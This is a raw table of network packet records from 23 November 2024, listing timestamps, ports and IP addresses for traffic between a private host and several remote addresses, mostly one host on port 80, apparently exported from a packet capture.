Nov 23, 2024 02:55:38.811340094 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.811377048 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.811393976 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.811897993 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.812020063 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.812161922 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.812517881 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.812731028 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.812863111 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.812935114 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.813565969 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.813673973 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.813752890 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.814382076 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.814496040 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.814835072 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.814918041 CET	49875	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.814953089 CET	443	49875	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.815169096 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.815184116 CET	49875	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.815329075 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.815359116 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.815431118 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.816042900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.816164017 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.816215992 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.816253901 CET	49875	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.816263914 CET	443	49875	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.816292048 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.816859007 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.816961050 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.817008972 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.817259073 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.817672014 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.817823887 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.817976952 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.818109989 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.818523884 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.818603992 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.819209099 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.826920033 CET	443	49868	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.827229977 CET	49868	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.827241898 CET	443	49868	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.827699900 CET	443	49868	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.828062057 CET	49868	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.828140020 CET	443	49868	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.828249931 CET	49868	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.858170033 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.858185053 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.858494043 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.858630896 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.858644009 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.858690023 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.859409094 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.859569073 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.859740973 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.860234976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.860281944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.860340118 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.861041069 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.861151934 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.861195087 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.861195087 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.861865044 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.861938000 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.861954927 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.862010002 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.862689972 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.862818956 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.862978935 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.862978935 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.863528967 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.863607883 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.863667011 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.863841057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.864370108 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.864480972 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.864582062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.864615917 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.865178108 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.865271091 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.865452051 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.866034985 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.866138935 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.866188049 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.866188049 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.866826057 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.866889000 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.866890907 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.866940975 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.867651939 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.867738962 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.867858887 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.868179083 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.868453026 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.868674040 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.868791103 CET	443	49870	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:38.869146109 CET	49870	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:38.869172096 CET	443	49870	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:38.869565964 CET	443	49870	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:38.871187925 CET	49870	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:38.871257067 CET	443	49870	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:38.871330976 CET	443	49868	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.871332884 CET	49870	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:38.915321112 CET	443	49870	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:38.919461012 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.919595003 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.919751883 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.919897079 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.919908047 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.919922113 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.919926882 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.922446966 CET	49876	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.922489882 CET	443	49876	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.926487923 CET	49876	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.926831961 CET	49876	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.926848888 CET	443	49876	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.958594084 CET	443	49853	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:38.958627939 CET	443	49853	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:38.958702087 CET	49853	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:38.958729029 CET	443	49853	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:38.959012032 CET	49853	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:38.963529110 CET	443	49853	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:38.963587999 CET	49853	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:38.963588953 CET	443	49853	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:38.963794947 CET	49853	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:38.978590965 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.978673935 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.978729963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.978729963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.979250908 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.979266882 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.979278088 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.979337931 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.979955912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.980015039 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.980029106 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.980165005 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.980786085 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.980830908 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.980839014 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.981015921 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.981606960 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.981669903 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.982145071 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.982199907 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.982434988 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.982572079 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.982851028 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.983182907 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.983330011 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.983510971 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.983624935 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.984102011 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.984155893 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.984242916 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.984977961 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.984991074 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.985188961 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.985753059 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.986033916 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.986040115 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.986105919 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.986568928 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.986838102 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.986982107 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.987420082 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.987445116 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.987565041 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.988228083 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.988641977 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.988820076 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.988883972 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.989078999 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.989250898 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.989651918 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.989701986 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.990032911 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.990044117 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.990118027 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.990118027 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.990700960 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.990780115 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.990807056 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.991014004 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.991538048 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.991858959 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.992422104 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.992434978 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.992448092 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.992480040 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.992525101 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.993181944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.993231058 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.993509054 CET	49877	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.993550062 CET	443	49877	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.993556976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.993627071 CET	49877	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.993654966 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.993894100 CET	49878	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.993911982 CET	443	49878	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.994013071 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.994080067 CET	49878	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.994148970 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.994159937 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.994225025 CET	49877	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.994245052 CET	443	49877	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.994246006 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.994436026 CET	49878	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.994452953 CET	443	49878	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.994870901 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.994930983 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.994966984 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.994966984 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.995742083 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.995754004 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.995821953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.996541977 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.996555090 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.996670008 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.996670008 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.997376919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.997390032 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.997459888 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.997459888 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.998192072 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.998204947 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.998307943 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.999033928 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.999047041 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.999100924 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.999840021 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.999902010 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.999994040 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.000689030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.000705957 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.000772953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.000880957 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.001487017 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.001728058 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.001857996 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.002367020 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.002378941 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.002444983 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.003129005 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.003276110 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.003994942 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.004007101 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.004019976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.004077911 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.004077911 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.004826069 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.004909039 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.004976034 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.005398989 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.005620956 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.005655050 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.005686045 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.005753994 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.006603003 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.006705999 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.006815910 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.006887913 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.007266998 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.007450104 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.007666111 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.008160114 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.008172989 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.008260965 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.008965015 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.008981943 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.009068966 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.009068966 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.009741068 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.009825945 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.009841919 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.010339022 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.010576010 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.010653973 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.010775089 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.026989937 CET	49853	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:39.027014017 CET	443	49853	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:39.050293922 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.050400972 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.050429106 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.050530910 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.050720930 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.050772905 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.050818920 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.051515102 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.051676989 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.051831007 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.051850080 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.051911116 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.051911116 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.052659035 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.052886009 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.053025007 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.053113937 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.053498030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.053611040 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.053644896 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.053672075 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.054364920 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.054378033 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.054446936 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.055182934 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.055330992 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.055444002 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.055521011 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.056045055 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.056126118 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.056159019 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.056550980 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.056843996 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.056857109 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.056986094 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.056986094 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.057622910 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.057732105 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.058089972 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.058430910 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.058465004 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.058528900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.058620930 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.059298992 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.059535980 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.059813976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.060129881 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.060141087 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.060298920 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.170728922 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.170810938 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.170990944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.171030045 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.171042919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:39.171067953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.171067953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.171106100 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:39.171843052 CET	80	49814	185.215.113.206	192.168.2.6
